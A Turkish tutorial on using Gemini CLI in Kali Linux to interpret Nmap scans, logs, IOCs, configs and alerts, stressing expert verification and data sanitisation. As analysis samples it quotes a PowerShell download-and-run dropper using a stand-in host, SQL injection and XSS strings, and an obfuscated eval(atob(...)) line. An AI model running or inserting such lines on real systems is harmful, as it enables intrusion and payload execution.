Kali Linux için Gemini CLI: Kurulum, Kullanım ve Siber Güvenlik Odaklı Uygulamalar
Gemini CLI Nedir?
Yapay zekâ araçları uzun süre web arayüzleri üzerinden kullanıldı. Ancak özellikle sistem yöneticileri, geliştiriciler ve siber güvenlik uzmanları için grafik arayüzler her zaman en verimli çözüm olmayabilir. Terminal tabanlı çalışma kültürü içerisinde, komut satırına entegre edilen yapay zekâ araçları daha hızlı ve otomasyon dostu bir yapı sunar.
Gemini CLI, terminal ortamından yapay zekâ modelleriyle etkileşim kurmayı sağlayan komut satırı arayüzüdür. Kullanıcılar terminalden doğrudan soru sorabilir, kod üretebilir, analiz yaptırabilir ve güvenlik odaklı iş akışlarında AI desteği kullanabilir.
Kali Linux gibi saldırı simülasyonu, analiz ve savunma testleri için kullanılan dağıtımlarda bu yaklaşım ciddi avantaj sağlar.
Gemini CLI'nin temel amacı:
Terminalden AI erişimi
Kod ve script üretimi
Analiz süreçlerini hızlandırma
Log ve çıktı yorumlama
Güvenlik araştırmalarını destekleme
Komut satırı iş akışına AI entegrasyonu
Burada önemli nokta şudur:
Gemini CLI bir saldırı aracı değildir.
Doğrudan exploit gerçekleştirme veya sisteme erişim sağlama amacı taşımaz. Asıl işlevi, kullanıcının teknik analiz ve üretim süreçlerini desteklemektir.
Neden Siber Güvenlikte CLI Tabanlı AI Önemlidir?
Siber güvenlik uzmanları çoğu zaman:
SSH oturumları
Linux sunucuları
Container ortamları
Headless sistemler
Uzak laboratuvar makineleri
SIEM ve log sunucuları
üzerinde çalışır.
Bu ortamlarda tarayıcı açmak veya web panel kullanmak her zaman pratik değildir.
CLI tabanlı AI burada avantaj sağlar.
Örneğin:
Bir güvenlik uzmanı Nmap çıktısını kopyalayıp:
gemini "Bu servislerin risk seviyesini açıkla"
şeklinde yorum isteyebilir.
Benzer şekilde:
cat auth.log | gemini "Başarısız SSH girişlerini analiz et"
gibi kullanım senaryoları ortaya çıkabilir.
Bu yaklaşım:
Zamandan tasarruf
Daha hızlı analiz
Otomasyon
Script entegrasyonu
Terminal merkezli workflow
sağlar.
Gemini CLI Nasıl Çalışır?
Gemini CLI temel olarak üç bileşenden oluşur:
1. Terminal Arayüzü
Kullanıcının komut girdiği katmandır.
Örneğin:
gemini "Linux privilege escalation checklist oluştur"
2. API Katmanı
Girilen komutlar Gemini servislerine API üzerinden iletilir.
Bu nedenle:
API anahtarı
Kimlik doğrulama
Ağ erişimi
gereklidir.
3. Model İşleme Katmanı
İstek AI modeli tarafından işlenir.
Model:
Doğal dili yorumlar
Kod üretebilir
Açıklama yapabilir
Analiz sunabilir
ve sonucu terminale döndürür.
Süreç şu şekilde işler:
Kullanıcı → CLI → API → AI Model → CLI Çıktısı
Kali Linux Üzerinde Kurulum
Kurulum yöntemleri zamanla değişebilse de temel mantık genellikle aynıdır.
Önce sistemi güncellemek gerekir.
Sistem Güncellemesi
sudo apt update && sudo apt upgrade -y
Sonrasında Node.js kurulu değilse yüklenebilir.
Kontrol:
node -v
npm -v
Yüklü değilse:
sudo apt install nodejs npm -y
Tekrar kontrol edin:
node -v
Örnek:
v22.x.x
Gemini CLI Kurulumu
CLI paketleri çoğunlukla npm üzerinden kurulabilir.
Global kurulum:
npm install -g @google/gemini-cli
Kurulum tamamlandığında:
gemini --help
yardım ekranı görüntülenmelidir.
Örnek:
Usage: gemini [options]
Hata alırsanız PATH değişkeni kontrol edilmelidir.
Node global path:
npm root -g
PATH kontrolü:
echo $PATH
Gerekirse:
export PATH=$PATH:$(npm bin -g)
API Anahtarı Yapılandırması
Gemini CLI genellikle API anahtarı gerektirir.
Anahtar alınmadan istek gönderilemez.
Ortam değişkeni yöntemi yaygın kullanımdır.
Geçici tanımlama:
export GEMINI_API_KEY="API_KEY"
Kalıcı tanımlama:
nano ~/.bashrc
Dosya sonuna:
export GEMINI_API_KEY="API_KEY"
Kaydet:
source ~/.bashrc
Kontrol:
echo $GEMINI_API_KEY
Anahtar görünüyorsa yapılandırma tamamdır.
İlk Komutlar
Kurulumdan sonra basit komutlarla başlanabilir.
Yardım Menüsü
gemini --help
Basit Soru
gemini "TCP ve UDP farkını açıkla"
Örnek cevap:
TCP bağlantı odaklıdır...
UDP bağlantısızdır...
Kod Üretimi
Bash script örneği:
gemini "Bash ile ping sweep scripti yaz"
Python örneği:
gemini "Python ile port kontrol scripti yaz"
AI tarafından oluşturulan kodlar çalıştırılmadan önce mutlaka incelenmelidir.
Prompt Yazımı ve Güvenlik Analizi
Gemini CLI kullanım kalitesini belirleyen unsur prompt tasarımıdır.
Zayıf prompt:
gemini "Nmap"
Belirsizdir.
Daha iyi yaklaşım:
gemini "Nmap SYN scan sonuçlarını güvenlik açısından yorumla"
Daha profesyonel kullanım:
gemini "Blue team uzmanı gibi davran ve bu servislerin riskini analiz et"
İyi promptlar:
Bağlam içerir
Rol tanımlar
Hedef belirtir
Beklenen çıktı formatını açıklar
Örnek:
gemini "SOC analyst gibi davran, aşağıdaki logları IOC açısından incele"
Gemini CLI'nin Siber Güvenlikte Rolü
Gemini CLI şu alanlarda yardımcı olabilir:
| Alan | Kullanım |
|---|---|
| Pentest | Çıktı yorumlama |
| DFIR | IOC analizi |
| SOC | Log değerlendirme |
| DevSecOps | Script ve otomasyon |
| Malware Research | Kod açıklama |
| Eğitim | Teknik kavram anlatımı |
Ancak kritik kararlar yalnızca AI çıktısına dayandırılmamalıdır.
AI:
Yanlış yorum yapabilir
Eksik bilgi verebilir
Halüsinasyon üretebilir
Bu nedenle uzman doğrulaması şarttır.
İlk bölümde Gemini CLI kurulumu, mimarisi ve temel kullanımını ele aldık. Bu bölümde ise Kali Linux ortamında gerçek siber güvenlik senaryolarına odaklanacağız.
Buradaki amaç:
AI destekli analiz yaklaşımını öğrenmek
Pentest ve defensive security iş akışlarını hızlandırmak
Gemini CLI'nin pratik sınırlarını görmek
Güvenli ve etik kullanım prensiplerini anlamaktır.
Nmap Çıktılarının Analizi
Pentest ve ağ keşif süreçlerinde en çok kullanılan araçlardan biri Nmap'tir. Ancak ham Nmap çıktıları özellikle büyük ağlarda oldukça karmaşık olabilir.
Gemini CLI burada bir yorumlayıcı katman gibi kullanılabilir.
Örnek SYN taraması:
sudo nmap -sS -sV 192.168.1.10
Örnek çıktı:
22/tcp open ssh OpenSSH 9.x
80/tcp open http Apache
3306/tcp open mysql
Bu çıktıyı AI'ye yönlendirmek mümkündür.
Dosyaya kaydet:
sudo nmap -sS -sV 192.168.1.10 -oN scan.txt
Analiz:
cat scan.txt | gemini "Bir penetration tester gibi davran ve servis risklerini değerlendir"
Muhtemel analiz:
SSH brute force riski
Apache sürüm değerlendirmesi
MySQL dış erişim riski
Servis hardening önerileri
Olası yanlış yapılandırmalar
Burada dikkat edilmesi gereken nokta:
Gemini CLI tarama yapmaz.
Yalnızca üretilen veriyi yorumlar.
Bu ayrım önemlidir.
XML Çıktılarının İncelenmesi
Nmap XML çıktıları daha detaylı analiz edilebilir.
Üretim:
sudo nmap -A target -oX scan.xml
Analiz:
cat scan.xml | gemini "XML Nmap çıktısını CVE ve yanlış yapılandırma açısından incele"
AI şu konularda yardımcı olabilir:
Açık servislerin kategorize edilmesi
Risk önceliği
Hardening önerileri
Olası attack surface açıklaması
Ancak CVE eşleşmeleri manuel doğrulanmalıdır.
Log Analizi
SOC ve DFIR ekiplerinin en fazla zaman harcadığı konulardan biri log incelemesidir.
Gemini CLI log yorumlamada ciddi zaman kazandırabilir.
Örnek SSH logu:
cat /var/log/auth.log
Filtreleme:
grep "Failed password" /var/log/auth.log
AI analizi:
grep "Failed password" /var/log/auth.log | \
gemini "Başarısız SSH girişlerini analiz et ve brute force belirtilerini açıkla"
AI şu gözlemleri sunabilir:
Aynı IP tekrarları
Zamansal yoğunluk
Username denemeleri
Olası brute-force paterni
Şüpheli davranış özeti
Web Sunucu Loglarının Analizi
Apache veya Nginx logları çoğu zaman manuel analiz edilir.
Örnek:
cat access.log | tail
Gemini:
cat access.log | gemini \
"SQL Injection veya XSS denemeleri açısından analiz et"
AI potansiyel olarak şunları işaretleyebilir:
Anormal URL karakterleri
UNION SELECT kalıpları
Script injection denemeleri
Directory traversal izleri
Kodlanmış payloadlar
Örnek şüpheli istek:
GET /index.php?id=1' OR '1'='1
veya:
<script>alert(1)</script>
Gemini bunların neden şüpheli olduğunu açıklayabilir.
IOC (Indicator of Compromise) Analizi
IOC değerlendirmesi tehdit avcılığında önemlidir.
Örnek IOC listesi:
185.x.x.x
bad-domain.example
SHA256:xxxx
Analiz:
cat ioc.txt | gemini \
"Bu IOC listesini tehdit avcılığı açısından kategorize et"
AI şu başlıkları ayırabilir:
IP IOC
Domain IOC
Hash IOC
Olası tehdit tipleri
Ek araştırma önerileri
Ancak gerçek reputation sorguları ayrıca doğrulanmalıdır.
Bash Script Üretimi
Pentest uzmanları sık sık küçük otomasyon scriptleri yazar.
Gemini CLI burada hızlandırıcı olabilir.
Örnek:
gemini \
"Bash ile subnet ping sweep scripti yaz ve açıklama ekle"
Örnek çıktı:
#!/bin/bash
for ip in 192.168.1.{1..254}
do
ping -c1 $ip
done
Bunun geliştirilmesi istenebilir:
gemini \
"Çıktıyı yalnızca aktif hostlar olacak şekilde geliştir"
AI iteratif geliştirme konusunda faydalıdır.
Python Güvenlik Scriptleri
Python otomasyonu siber güvenlikte yaygındır.
Örnek:
gemini \
"Python ile basit TCP port checker yaz"
Örnek kod:
import socket
İleri prompt:
gemini \
"Timeout ekle ve exception handling kullan"
Bu yaklaşım:
Eğitim
Prototipleme
Otomasyon
için faydalıdır.
Ancak AI ürettiği kod:
Hatalı olabilir
Güvensiz olabilir
Verimsiz olabilir
Kod incelemesi zorunludur.
Pentest Workflow İçinde Gemini CLI
Pentest süreci genellikle şu aşamalardan oluşur:
Recon
Enumeration
Vulnerability analysis
Exploitation
Post-exploitation
Reporting
Gemini CLI özellikle:
Enumeration yorumlama
Not alma
Script hazırlama
Rapor taslağı
Bulguları açıklama
aşamalarında yararlı olabilir.
Örnek:
gemini \
"443 portunda çalışan Apache servisinin olası risklerini özetle"
AI hızlı bir ön değerlendirme sunabilir.
OPSEC ve Veri Gizliliği
Siber güvenlik uzmanları için en kritik konulardan biri operasyonel güvenliktir.
CLI üzerinden AI kullanırken şu soru sorulmalıdır:
Gönderdiğim veri hassas mı?
Örneğin:
Gönderilmemesi gereken veriler:
Müşteri logları
İç IP şemaları
Kimlik bilgileri
API secret'ları
Hassas forensics verileri
Kurumsal yapı bilgileri
Riskli örnek:
cat internal_log.txt | gemini ...
Önce sanitizasyon yapılmalıdır.
Örnek:
sed 's/[0-9]\{1,3\}\./x./g'
veya manuel temizleme.
AI servislerine veri gönderirken gizlilik politikaları incelenmelidir.
AI Hallucination Riski
AI araçları bazen olmayan bilgileri üretebilir.
Buna hallucination denir.
Örnek riskler:
Yanlış CVE
Var olmayan exploit
Hatalı syntax
Yanlış güvenlik tavsiyesi
Sahte referans
Bu nedenle:
AI = yardımcı analiz katmanı
Uzman doğrulaması = zorunlu
Gemini CLI Kullanırken Güvenlik Tavsiyeleri
İyi uygulamalar:
✓ API key koruma
✓ Least privilege
✓ Hassas veri filtreleme
✓ Manual doğrulama
✓ Offline not tutma
✓ Kod review
Kötü uygulamalar:
✗ Secret paylaşımı
✗ Körü körüne kod çalıştırma
✗ AI çıktısına tam güven
✗ İç ağ verisi sızdırma
Önceki bölümlerde Gemini CLI kurulumu, temel kullanım, log analizi, Nmap yorumlama ve OPSEC konularını ele aldık. Bu final bölümünde ise daha ileri seviye güvenlik senaryolarına ve Gemini CLI’nin gerçek dünyadaki yerini değerlendireceğiz.
Malware Analizi Sürecinde Gemini CLI
Zararlı yazılım analizi (malware analysis), siber güvenlik dünyasının en teknik alanlarından biridir. Gemini CLI burada doğrudan malware çalıştırmaz veya sandbox görevi görmez. Bunun yerine:
Kod açıklama
Obfuscation yorumlama
Davranış tahmini
Script inceleme
Analiz notu oluşturma
gibi destekleyici görevlerde kullanılabilir.
Örnek PowerShell scripti:
Invoke-WebRequest http://example/payload.exe
Start-Process payload.exe
Analiz:
cat sample.ps1 | \
gemini "Bir malware analyst gibi davran ve davranışı açıkla"
AI potansiyel olarak şunları yorumlayabilir:
Dosya indirme davranışı
Process başlatma
Dropper benzeri yapı
Persistence ihtimali
Risk kategorisi
Burada kritik nokta:
Gemini CLI sandbox değildir.
Zararlı dosyalar:
İzole VM
Sandbox
Malware lab
ortamlarında incelenmelidir.
Obfuscated Script Açıklama
Saldırganlar kod gizleme (obfuscation) kullanır.
Örnek:
eval(atob("YWxlcnQoMSk="))
Gemini:
gemini \
"Bu JavaScript kodunu decode et ve güvenlik açısından açıkla"
AI:
Base64 çözümü
eval kullanım riski
XSS bağlamı
Çalışma mantığı
konusunda açıklama sunabilir.
Red Team Perspektifi
Red Team operasyonlarında Gemini CLI doğrudan saldırı aracı olarak değil, yardımcı analiz katmanı olarak düşünülebilir.
Yararlı alanlar:
Enumeration çıktısı yorumlama
Payload mantığını açıklama
Script geliştirme
Pentest notları
Rapor taslağı
Örnek:
gemini \
"Kerberos enumeration çıktısında nelere dikkat edilir?"
veya:
gemini \
"Bir red team operatörü için checklist hazırla"
AI süreç organizasyonunda faydalı olabilir.
Ancak:
Hedef seçimi
Yetkisiz erişim
Exploit kararı
Operasyonel risk
insan uzman tarafından değerlendirilmelidir.
Blue Team ve SOC Kullanımı
Blue Team tarafında Gemini CLI daha sık kullanılabilir.
Çünkü savunma süreçleri:
Log yorumlama
Alert triage
IOC değerlendirme
Olay özeti
Incident timeline
gibi yoğun metinsel analiz içerir.
Örnek:
cat alerts.log | \
gemini "SOC analyst gibi davran ve olay özeti çıkar"
AI:
Alert kümeleri
Olası ilişkilendirme
Önceliklendirme
İlk değerlendirme
sunabilir.
Incident Response Yardımı
IR süreçlerinde zaman kritiktir.
Gemini CLI olay özetlemede yardımcı olabilir.
Örnek timeline:
08:00 Login
08:02 PowerShell
08:04 Download
08:05 Privilege escalation
Analiz:
cat timeline.txt | \
gemini "Incident timeline yorumla"
AI:
Olay akışı
Şüpheli aşamalar
MITRE ATT&CK ilişkisi
İlk containment önerileri
sunabilir.
Ancak containment kararı uzman sorumluluğundadır.
Gemini CLI vs Ollama vs Local LLM
AI CLI araçları arasında seçim yapılırken güvenlik, performans ve gizlilik önemlidir.
1. Gemini CLI
Avantajlar:
✓ Güçlü cloud model
✓ Hızlı cevap
✓ Kod üretimi
✓ Güncel model altyapısı
Dezavantajlar:
İnternet gerekir
Veri paylaşım politikaları incelenmelidir
API bağımlılığı
2. Ollama
Yerel LLM çalıştırır.
Avantaj:
✓ Offline kullanım
✓ Veri cihazda kalır
✓ OPSEC avantajı
Dezavantaj:
Güçlü donanım gerekir
Model kalitesi değişebilir
RAM tüketimi yüksektir
Kali örneği:
ollama run llama3
Yerel AI laboratuvarları için popülerdir.
3. Local LLM Sistemleri
Alternatifler:
llama.cpp
LocalAI
vLLM
GPU tabanlı modeller
Avantaj:
Maksimum veri kontrolü.
Dezavantaj:
Yönetim karmaşıklığı.
Kurumsal SOC ortamlarında tercih edilebilir.
Laboratuvar İş Akışı Örneği
Bir Kali lab ortamında Gemini CLI şu şekilde entegre olabilir.
1. Ağ keşfi
sudo nmap -A 192.168.1.0/24
2. Sonuç kaydı
-oN scan.txt
3. AI yorumlama
cat scan.txt | \
gemini "Risk seviyesine göre önceliklendir"
4. Log analizi
cat auth.log | \
gemini "SSH saldırısı belirtilerini incele"
5. Rapor özeti
gemini \
"Pentest findings executive summary hazırla"
Bu yaklaşım:
Süreç hızlandırır
Dokümantasyonu kolaylaştırır
Analitik yükü azaltır
Sık Karşılaşılan Hatalar
Kurulum sırasında çeşitli sorunlar yaşanabilir.
Node bulunamadı
Hata:
node: command not found
Çözüm:
sudo apt install nodejs npm
Gemini komutu bulunamadı
Hata:
gemini: command not found
Çözüm:
npm install -g @google/gemini-cli
PATH kontrolü:
echo $PATH
API Hatası
Hata:
Unauthorized
Kontrol:
echo $GEMINI_API_KEY
Anahtar yeniden tanımlanabilir.
Rate Limit
Hata:
Too many requests
Çözüm:
Bekleme
API plan kontrolü
İstek optimizasyonu
Prompt Engineering İleri Seviye Yaklaşımlar
Profesyonel kullanımda prompt tasarımı önemlidir.
Zayıf prompt:
gemini "Açık var mı?"
Profesyonel prompt:
gemini \
"Blue team analyst gibi davran, aşağıdaki logları MITRE ATT&CK açısından değerlendir ve JSON formatında özetle"
İyi promptlar:
Rol belirtir
Çıktı formatı ister
Bağlam verir
Teknik hedef tanımlar
Bu yöntem daha kaliteli sonuç sağlar.
Gemini CLI'nin Sınırları
Gemini CLI güçlüdür ancak her problemi çözmez.
Yapabilecekleri:
✓ Açıklama
✓ Kod üretimi
✓ Analiz
✓ Özetleme
✓ Öğretici yardım
Yapamayacakları:
✗ İnsan uzman yerine geçmek
✗ Doğrudan exploit yapmak
✗ Kesin güvenlik kararı vermek
✗ Tam doğruluk garantisi
Bu nedenle en doğru yaklaşım:
AI + İnsan Uzmanı birlikte çalışmasıdır.
Sonuç
Gemini CLI, Kali Linux ve siber güvenlik dünyasında giderek daha önemli hale gelen AI destekli terminal iş akışlarının güçlü örneklerinden biridir.
Özellikle:
Pentest hazırlığı
Log analizi
Script üretimi
Malware açıklama
SOC operasyonları
Dokümantasyon
alanlarında ciddi verimlilik sağlayabilir.
Ancak güvenlik uzmanlarının unutmaması gereken temel prensip:
AI bir yardımcıdır, karar verici değil.
Doğru kullanıldığında Gemini CLI; Kali Linux üzerinde çalışan araştırmacılar, SOC analistleri ve güvenlik öğrencileri için güçlü bir üretkenlik aracı haline gelebilir.
1. Wireshark / PCAP Analizi
Ağ trafiği inceleme süreçlerinde Gemini CLI yardımcı analiz katmanı olabilir.
PCAP özetini çıkar:
tshark -r traffic.pcap > traffic.txt
Analiz:
cat traffic.txt | \
gemini "Ağ trafiğinde şüpheli davranışları ve anomali göstergelerini açıkla"
Olası kullanım:
Port scanning belirtileri
DNS tunneling şüphesi
C2 davranışı
Anormal trafik örüntüsü
Lateral movement işaretleri
2. Fail2Ban Log Analizi
Brute-force savunmalarında Fail2Ban logları incelenebilir.
cat /var/log/fail2ban.log
AI analizi:
cat /var/log/fail2ban.log | \
gemini "Ban edilen IP davranışlarını ve saldırı tiplerini özetle"
Yorumlayabileceği alanlar:
SSH brute force
Credential stuffing
Tekrarlayan IP patternleri
3. Web Pentest Not Yardımcısı
Pentest sırasında not almak zaman alabilir.
Gemini CLI özet çıkarabilir.
Örnek:
cat findings.txt | \
gemini "OWASP kategorilerine göre düzenle"
AI şu başlıkları oluşturabilir:
Broken Access Control
XSS
SQLi
Security Misconfiguration
Severity değerlendirmesi
4. Burp Suite HTTP İstek Analizi
HTTP request/response incelemede kullanılabilir.
Request:
cat request.txt | \
gemini "HTTP isteğini güvenlik açısından incele"
Analiz:
Token eksikliği
Input validation sorunları
Güvenlik header eksikleri
Olası injection noktaları
5. CVE Açıklaması ve Teknik Özet
Araştırmacılar CVE okumada zaman harcar.
Örnek:
gemini \
"CVE-XXXX-XXXX güvenlik açığını teknik ama kısa şekilde açıkla"
AI yardımcı olabilir:
Açığın türü
Etkilenen bileşen
Risk seviyesi
Sömürü mantığı (genel açıklama)
Savunma yaklaşımı
Doğrulama yine resmi kaynaklarla yapılmalıdır.
6. YARA Rule Açıklama
Malware analistleri için yararlı senaryo.
Rule:
cat sample.yar | \
gemini "Bu YARA kuralının neyi tespit etmeye çalıştığını açıkla"
AI:
Pattern mantığı
String eşleşmeleri
IOC ilişkisi
Detection amacı
hakkında açıklama sunabilir.
7. Sigma Rule Analizi
SOC ortamlarında yaygın kullanım.
Örnek:
cat rule.yml | \
gemini "Sigma kuralını MITRE ATT&CK açısından açıkla"
Olası yorum:
Persistence
Credential access
Defense evasion
Discovery
8. Firewall Kural Denetimi
iptables / nftables kontrolü.
Örnek:
iptables-save > fw.txt
Analiz:
cat fw.txt | \
gemini "Firewall kurallarında güvenlik riski veya eksik segmentasyon var mı?"
AI:
Açık portlar
Geniş allow kuralları
Hardening önerileri
sunabilir.
9. Docker / Container Güvenliği
Container güvenliği senaryosu.
Dockerfile:
cat Dockerfile | \
gemini "Docker güvenliği açısından incele"
Analiz:
Root user kullanımı
Gereksiz paketler
Secret riski
Image hardening
10. Kubernetes Manifest İncelemesi
DevSecOps ortamlarında yararlı.
cat deployment.yaml | \
gemini "Kubernetes manifestini güvenlik açısından değerlendir"
AI inceleyebilir:
Privileged container
HostPath riski
RBAC eksikleri
SecurityContext
11. SIEM Alert Triage
SIEM alarm değerlendirme.
Örnek:
cat alerts.json | \
gemini "Alert fatigue açısından önceliklendir"
AI:
False positive ihtimali
Kritik alarm
Incident ilişkisi
yorumlayabilir.
12. Threat Intelligence Özetleme
Uzun TI raporlarını sadeleştirme.
PDF/rapor metni:
cat report.txt | \
gemini "Threat actor TTP'lerini özetle"
AI:
IOC
TTP
Hedef sektör
ATT&CK mapping
çıkarabilir.
13. Linux Hardening Kontrol Listesi
Sunucu güvenliği.
gemini \
"Ubuntu server için CIS benzeri hardening checklist oluştur"
Çıktı:
SSH hardening
Firewall
Audit
Logging
Least privilege
14. Reverse Engineering Notları
Disassembly açıklama.
Örnek:
cat asm.txt | \
gemini "Assembly kodunun mantığını açıkla"
AI:
Fonksiyon akışı
API çağrıları
Şüpheli davranışlar
konusunda yardımcı olabilir.
15. Incident Report Taslağı
IR ekipleri için zaman kazandırır.
Örnek:
cat incident.txt | \
gemini "Yönetici seviyesinde incident report özeti hazırla"
AI:
Executive summary
Timeline
Impact
Containment
Lessons learned
başlıkları oluşturabilir.
16. OSINT Veri Ön Analizi
OSINT araştırmalarında toplanan veriler özetlenebilir.
Örnek:
cat osint.txt | \
gemini "OSINT verilerini kişi, domain, IP ve ilişkilere göre sınıflandır"
Kullanım:
Domain ilişkileri
Whois özetleri
E-mail patternleri
Tedarik zinciri görünürlüğü
17. WHOIS / DNS Sonuç Yorumu
DNS keşif çıktıları bazen karmaşıktır.
Örnek:
whois example.com > whois.txt
dig example.com ANY > dns.txt
Analiz:
cat dns.txt | \
gemini "DNS yapılandırmasını güvenlik açısından yorumla"
Yorum:
SPF/DKIM eksikleri
DNS hijacking riskleri
Exposure noktaları
18. SSL/TLS Güvenlik Analizi
Sertifika ve TLS inceleme.
Örnek:
openssl s_client -connect target:443
Analiz:
cat tls.txt | \
gemini "TLS yapılandırmasını güvenlik açısından değerlendir"
AI değerlendirebilir:
Zayıf cipher
TLS versiyonu
Certificate sorunları
Hardening önerileri
19. SSH Hardening Denetimi
SSH yapılandırma inceleme.
cat /etc/ssh/sshd_config | \
gemini "SSH güvenliği açısından incele"
AI:
Password auth riski
Root login
Port değişimi
Key authentication
yorumlayabilir.
20. Linux Persistence İndikatörleri
DFIR senaryosu.
Örnek:
crontab -l
systemctl list-units
Analiz:
cat cron.txt | \
gemini "Persistence davranışı açısından incele"
AI işaretleyebilir:
Cron abuse
Systemd persistence
Login script abuse
Startup manipülasyonu
21. Suspicious Process Analizi
Canlı sistem inceleme.
Process listesi:
ps aux > proc.txt
AI:
cat proc.txt | \
gemini "Şüpheli process patternleri var mı?"
Analiz:
Olağandışı parent-child ilişkisi
Resource abuse
Encoded command kullanım ihtimali
22. Memory Forensics Not Yardımı
Bellek analizi sonrası not çıkarma.
Örnek:
cat volatility_results.txt | \
gemini "Bellek analizinden IOC özeti oluştur"
Kullanım:
Process tree özeti
DLL injection notları
Network artifact açıklaması
23. Reverse Shell Pattern Tanıma
Blue Team için yararlı.
Örnek log:
cat shell.txt | \
gemini "Reverse shell davranışı belirtileri var mı?"
AI şunları açıklayabilir:
Bash TCP patternleri
Netcat davranışı
Encoded payload işaretleri
24. E-posta Header Analizi
Phishing incelemesi.
Header:
cat header.txt | \
gemini "Email spoofing veya phishing açısından incele"
AI:
SPF/DKIM/DMARC
Relay zinciri
Şüpheli origin
yorumlayabilir.
25. Cloud Security İncelemesi
Cloud konfigürasyonları.
Örnek IAM policy:
cat policy.json | \
gemini "IAM policy least privilege açısından değerlendir"
AI:
Wildcard permission
Over-privilege
Role escalation riski
açıklayabilir.
26. GitHub / Kod Güvenliği Taraması (Yorumlama)
Kod review yardımcısı.
Örnek:
cat app.py | \
gemini "Güvenlik smell'lerini açıkla"
AI:
Hardcoded secret
Unsafe input
SQL riskleri
Weak crypto
işaretleyebilir.
27. Secret Discovery Sonrası Değerlendirme
Gizli anahtar bulguları.
Örnek:
cat secrets.txt | \
gemini "Bulunan credential tiplerini sınıflandır"
AI:
API key
Token
Password
Certificate
ayrımı yapabilir.
28. Threat Hunting Hipotez Üretimi
Threat hunting başlangıcı.
Örnek:
gemini \
"Windows ortamında credential dumping için hunting hypothesis üret"
AI:
Olası veri kaynakları
Event ID önerileri
Hunt akışı
sunabilir.
29. ATT&CK Mapping Yardımı
MITRE eşleştirme.
Örnek:
cat findings.txt | \
gemini "MITRE ATT&CK teknikleriyle eşleştir"
AI:
Initial access
Discovery
Persistence
Defense evasion
eşleştirmesi yapabilir.
30. SOC Playbook Taslağı
SOC operasyonları.
Örnek:
gemini \
"Ransomware alert için SOC playbook taslağı oluştur"
AI hazırlayabilir:
Detection
Validation
Escalation
Containment
Recovery
31. WAF Log Analizi
Web savunması.
Örnek:
cat waf.log | \
gemini "Bot activity ve injection patternlerini incele"
AI:
SQLi denemeleri
Bot davranışı
Rate abuse
yorumlayabilir.
32. Security Awareness İçerik Üretimi
Kurumsal eğitim.
Örnek:
gemini \
"Çalışanlar için phishing farkındalık özeti hazırla"
Blog veya SOC eğitimlerinde kullanılabilir.
33. CVSS ve Risk Önceliklendirme
Açık yönetimi.
Örnek:
cat vulns.txt | \
gemini "Risk önceliğine göre sırala"
AI:
Critical
High
Medium
Low
taslak önceliklendirme sunabilir.
34. Threat Model Yardımı
Uygulama güvenliği.
Örnek:
gemini \
"Web uygulaması için STRIDE tabanlı threat model oluştur"
DevSecOps süreçlerinde yararlı olabilir.
35. Purple Team Egzersizleri
Savunma ve saldırı koordinasyonu.
Örnek:
gemini \
"Blue ve Red Team için tabletop senaryosu hazırla"
AI:
Attack flow
Detection
Lessons learned
oluşturabilir.
Yorumlar